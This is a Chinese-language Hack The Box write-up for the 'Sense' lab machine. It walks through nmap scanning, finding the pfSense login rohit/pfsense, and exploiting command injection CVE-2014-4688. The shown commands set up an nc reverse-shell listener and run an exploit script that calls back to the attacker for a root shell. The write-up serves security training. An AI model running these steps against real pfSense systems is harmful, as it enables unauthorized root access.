Hack The Box - Sense Machine Write-up

前言
Sense 也是一台很簡單的機器,有做好枚舉很快就可以找到利用點。筆記內容一樣會帶你探索我的完整思路!
目標枚舉 Enumeration
首先使用 nmap 進行掃描
┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.132.226
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 07:41 EDT
Nmap scan report for 10.129.132.226
Host is up (0.28s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.129.132.226/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.04 seconds
打開 80 端口會把你導向 443,看到 pfSense 的登入頁面。pfSense 是一個開源的防火牆和路由器平台。

google 一下可以知道預設帳密是 admin/pfsense,但嘗試後並沒有成功登入。
來用 DirBuster 枚舉子目錄

先探索一下 /tree
目錄

摸索一下沒發現什麼有用的東西
再來看看 /changelog.txt

Mitigated 說 3 個漏洞中 2 個已修復,代表還有 1 個存在可被利用。
最後來看看 /system-users.txt

光看子目錄名我就覺得非常可疑,點進去一看果然不出所料有非常關鍵的資訊!ticket 告訴我們創建帳號的訊息,推測極有可能存在帳號 Rohit;密碼應該是預設的 pfsense。
嘗試大小寫帳號 Rohit、rohit 跟預設密碼組合,成功以小寫帳號登入 rohit/pfsense


進入之後馬上注意到版本資訊 2.1.3
網路上搜尋後在 Exploit-DB 找到此版本已知的 Command Injection 問題

Command Injection (CVE-2014-4688) 的成因
後台的 RRD 圖表生成功能,會把 GET 參數值直接拼進指令去跑 rrdtool graph,但沒把特殊字元跳脫。只要在參數裡塞入 |
、;
等等的符號,就能接上去執行任意指令。而 pfSense WebGUI 後端通常是以 root 身分跑,所以成功注入後也是用 root 權限。詳細資訊可以參考:https://nvd.nist.gov/vuln/detail/CVE-2014-4688
漏洞利用
先在攻擊機開監聽
nc -lvnp 1648
小改一下網站給的 exploit:
import argparse
import requests
import urllib
import urllib3
import collections
...
# 不驗證憑證
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
client = requests.Session()
client.verify = False
...
改完後運行腳本
┌──(samchen㉿kali)-[~/Desktop]
└─$ python3 123.py --rhost 10.129.132.226 --lhost 10.10.14.63 --lport 1648 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
成功取得 shell,而且還是 root 權限。 拿到 user.txt 和 root.txt!
